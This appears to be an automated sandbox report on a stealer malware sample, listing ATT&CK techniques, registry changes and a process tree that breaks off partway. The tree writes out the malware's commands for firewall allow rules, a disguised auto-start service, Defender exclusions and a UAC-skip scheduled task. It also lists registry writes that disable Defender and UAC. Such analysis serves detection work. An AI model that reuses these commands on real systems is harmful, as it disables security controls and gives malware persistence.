sheetrat | cc5e20d311cb1028bef8a2ee5f2ad9128d66217ee19bf9c30278801f7105600a

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\M1004NUS.exe,"	M1004NUS.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 3 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 3 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	M1004NUS.exe

UAC bypass 3 TTPs 12 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe

Custom signature

Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 4 IoCs

resource	yara_rule
behavioral1/memory/4444-0-0x000001C56AC00000-0x000001C56AC74000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL
behavioral1/memory/2736-204-0x0000014407B80000-0x0000014407BF4000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL
behavioral1/memory/3764-285-0x0000029B311F0000-0x0000029B31264000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL
behavioral1/memory/3764-284-0x0000029B311F0000-0x0000029B31264000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_SandboxHookingDLL

Custom signature

Detects executables (downlaoders) containing URLs to raw contents of a paste 4 IoCs

resource	yara_rule
behavioral1/memory/4444-0-0x000001C56AC00000-0x000001C56AC74000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL
behavioral1/memory/2736-204-0x0000014407B80000-0x0000014407BF4000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL
behavioral1/memory/3764-285-0x0000029B311F0000-0x0000029B31264000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL
behavioral1/memory/3764-284-0x0000029B311F0000-0x0000029B31264000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawPaste_URL

Custom signature

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 4 IoCs

resource	yara_rule
behavioral1/memory/4444-0-0x000001C56AC00000-0x000001C56AC74000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/memory/2736-204-0x0000014407B80000-0x0000014407BF4000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/memory/3764-285-0x0000029B311F0000-0x0000029B31264000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender
behavioral1/memory/3764-284-0x0000029B311F0000-0x0000029B31264000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 32 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2692	powershell.exe
220	powershell.exe
5024	powershell.exe
2696	powershell.exe
3148	powershell.exe
4224	powershell.exe
4420	powershell.exe
4276	powershell.exe
3592	powershell.exe
2720	powershell.exe
2460	powershell.exe
4652	powershell.exe
1532	powershell.exe
228	powershell.exe
3664	powershell.exe
652	powershell.exe
2696	powershell.exe
3148	powershell.exe
2720	powershell.exe
3664	powershell.exe
2460	powershell.exe
228	powershell.exe
4224	powershell.exe
4420	powershell.exe
1532	powershell.exe
4276	powershell.exe
4652	powershell.exe
3592	powershell.exe
2692	powershell.exe
220	powershell.exe
5024	powershell.exe
652	powershell.exe

Modifies Windows Firewall 2 TTPs 3 IoCs

defense_evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
2216	netsh.exe
2916	netsh.exe
2168	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
2736	BootExecutor.exe
2684	M1004NUS.exe
4316	M1004NUS.exe
3764	BootExecutor.exe

Registers new Windows logon scripts automatically executed at logon. 1 TTPs 2 IoCs

persistence

Logon Script (Windows)

T1037.001

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Environment\UserInitMprLogonScript = "C:\\Windows\\Speech_OneCore\\Engines\\TTS\\ru-RU\\WinSyncLogon.cmd"	M1004NUS.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Windows security modification 2 TTPs 3 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	M1004NUS.exe

Checks whether UAC is enabled 1 TTPs 6 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BootExecutor.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
5	ip-api.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\BootFiles\BootExecutor.exe	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
5056	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
2736	BootExecutor.exe
2684	M1004NUS.exe
4316	M1004NUS.exe
3764	BootExecutor.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	M1004NUS.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\M1004NUS.exe	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
File created	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
File opened for modification	C:\Windows\Speech_OneCore\Engines\TTS\ru-RU\WinSyncLogon.cmd	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe

Launches sc.exe 9 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4120	sc.exe
3704	sc.exe
4280	sc.exe
5060	sc.exe
3256	sc.exe
2168	sc.exe
840	sc.exe
460	sc.exe
736	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 16 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2556	CMD.exe
3452	cmd.exe
1800	cmd.exe
1456	CMD.exe
4988	cmd.exe
4496	cmd.exe
3572	cmd.exe
3668	cmd.exe
376	cmd.exe
1476	cmd.exe
2788	cmd.exe
1744	cmd.exe
3388	cmd.exe
1564	cmd.exe
2976	cmd.exe
2000	cmd.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\gogoduck	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	BootExecutor.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 29 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3220	schtasks.exe
4056	schtasks.exe
4888	schtasks.exe
4712	schtasks.exe
1180	schtasks.exe
2936	schtasks.exe
1848	schtasks.exe
4448	schtasks.exe
1160	schtasks.exe
2564	schtasks.exe
2596	schtasks.exe
372	schtasks.exe
3780	schtasks.exe
3976	schtasks.exe
3412	schtasks.exe
1528	schtasks.exe
2004	schtasks.exe
3500	schtasks.exe
2088	schtasks.exe
4344	schtasks.exe
3252	schtasks.exe
4396	schtasks.exe
736	schtasks.exe
4916	schtasks.exe
816	schtasks.exe
4800	schtasks.exe
2780	schtasks.exe
2344	schtasks.exe
3648	schtasks.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

pid	Process
3148	powershell.exe
3148	powershell.exe
4224	powershell.exe
4224	powershell.exe
3592	powershell.exe
3592	powershell.exe
2720	powershell.exe
2720	powershell.exe
2692	powershell.exe
2692	powershell.exe
3664	powershell.exe
3664	powershell.exe
220	powershell.exe
220	powershell.exe
5024	powershell.exe
5024	powershell.exe
2460	powershell.exe
2460	powershell.exe
4420	powershell.exe
4420	powershell.exe
2696	powershell.exe
2696	powershell.exe
4276	powershell.exe
4276	powershell.exe
4652	powershell.exe
4652	powershell.exe
1532	powershell.exe
1532	powershell.exe
652	powershell.exe
652	powershell.exe
228	powershell.exe
228	powershell.exe
2736	BootExecutor.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Token: SeDebugPrivilege	5056	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeDebugPrivilege	4224	powershell.exe
Token: SeDebugPrivilege	3592	powershell.exe
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	3664	powershell.exe
Token: SeDebugPrivilege	220	powershell.exe
Token: SeDebugPrivilege	5024	powershell.exe
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeDebugPrivilege	4420	powershell.exe
Token: SeDebugPrivilege	2736	BootExecutor.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeDebugPrivilege	4652	powershell.exe
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeDebugPrivilege	652	powershell.exe
Token: SeDebugPrivilege	228	powershell.exe
Token: SeDebugPrivilege	2684	M1004NUS.exe
Token: SeDebugPrivilege	4316	M1004NUS.exe
Token: SeDebugPrivilege	3764	BootExecutor.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4444 wrote to memory of 3452	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	89
PID 3452 wrote to memory of 2216	3452	cmd.exe	91
PID 4444 wrote to memory of 4120	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	92
PID 4444 wrote to memory of 2168	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	94
PID 4444 wrote to memory of 3704	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	96
PID 4444 wrote to memory of 1896	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	100
PID 4444 wrote to memory of 3148	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	103
PID 4444 wrote to memory of 3220	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	104
PID 4444 wrote to memory of 4224	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	107
PID 4444 wrote to memory of 5052	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	109
PID 4444 wrote to memory of 4344	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	111
PID 4444 wrote to memory of 3592	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	113
PID 4444 wrote to memory of 4048	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	115
PID 4444 wrote to memory of 4056	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	117
PID 4444 wrote to memory of 2720	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	119
PID 4444 wrote to memory of 2692	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	121
PID 4444 wrote to memory of 3080	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	123
PID 4444 wrote to memory of 1528	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	125
PID 4444 wrote to memory of 3664	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	127
PID 4444 wrote to memory of 892	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	129
PID 4444 wrote to memory of 4800	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	131
PID 4444 wrote to memory of 220	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	133
PID 4444 wrote to memory of 1620	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	135
PID 4444 wrote to memory of 3252	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	137
PID 4444 wrote to memory of 5024	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	139
PID 4444 wrote to memory of 1800	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	141
PID 1800 wrote to memory of 1180	1800	cmd.exe	176
PID 4444 wrote to memory of 2460	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	145
PID 4444 wrote to memory of 4420	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	148
PID 4444 wrote to memory of 2696	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	152
PID 4444 wrote to memory of 4276	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	155
PID 4444 wrote to memory of 4652	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	197
PID 4444 wrote to memory of 1532	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	159
PID 4444 wrote to memory of 652	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	161
PID 4444 wrote to memory of 228	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	163
PID 4444 wrote to memory of 1364	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	165
PID 4444 wrote to memory of 1456	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	166
PID 4444 wrote to memory of 4988	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	167
PID 4444 wrote to memory of 3388	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	168
PID 4444 wrote to memory of 2788	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	169
PID 4444 wrote to memory of 1744	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	170
PID 4444 wrote to memory of 4496	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	171
PID 1456 wrote to memory of 2052	1456	CMD.exe	179
PID 4988 wrote to memory of 3780	4988	cmd.exe	180
PID 1744 wrote to memory of 2936	1744	cmd.exe	181
PID 2788 wrote to memory of 1848	2788	cmd.exe	182
PID 4496 wrote to memory of 2780	4496	cmd.exe	183
PID 3388 wrote to memory of 2596	3388	cmd.exe	184
PID 4444 wrote to memory of 2684	4444	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe	185
PID 2736 wrote to memory of 3572	2736	BootExecutor.exe	187
PID 3572 wrote to memory of 2916	3572	cmd.exe	190
PID 2736 wrote to memory of 4280	2736	BootExecutor.exe	254
PID 2736 wrote to memory of 5060	2736	BootExecutor.exe	255
PID 2736 wrote to memory of 840	2736	BootExecutor.exe	196
PID 2684 wrote to memory of 1564	2684	M1004NUS.exe	200
PID 1564 wrote to memory of 2168	1564	cmd.exe	202
PID 2684 wrote to memory of 460	2684	M1004NUS.exe	206
PID 2684 wrote to memory of 736	2684	M1004NUS.exe	250
PID 2684 wrote to memory of 3256	2684	M1004NUS.exe	210
PID 2684 wrote to memory of 2556	2684	M1004NUS.exe	212
PID 2684 wrote to memory of 2976	2684	M1004NUS.exe	213
PID 2556 wrote to memory of 2356	2556	CMD.exe	216
PID 2976 wrote to memory of 4448	2976	cmd.exe	217
PID 2684 wrote to memory of 3400	2684	M1004NUS.exe	218

System policy modification 1 TTPs 18 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableUIADesktopToggle = "1"	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	BootExecutor.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	M1004NUS.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	BootExecutor.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender TamperProtection settings
- UAC bypass
- Checks computer location settings
- Registers new Windows logon scripts automatically executed at logon.
- Windows security modification
- Checks whether UAC is enabled
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4444
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe" enable=yes & exit
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3452
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="QeFpSiX4SFvaSb" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe" enable=yes
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2216
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" delete "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:4120
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" create "WindowsUpdaterDefenderMicrosoft" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-08-11_9f83e43699afc1b87506fecacf358508_akira_rusty-stealer.exe" start= auto DisplayName= "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:2168
- C:\Windows\SYSTEM32\sc.exe
  "sc.exe" start "WindowsUpdaterDefenderMicrosoft"
  2⤵
  - Launches sc.exe
  PID:3704
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Delete /TN "CCleanerSkipUAC_a5b0bd23" /F
  2⤵
  PID:1896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\BootFiles\BootExecutor.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3148
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /Create /TN "CCleanerSkipUAC_a5b0bd23" /XML "C:\Users\Admin\AppData\Local\Temp\968ddd07-9959-489f-9809-374009b52013.xml" /F
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
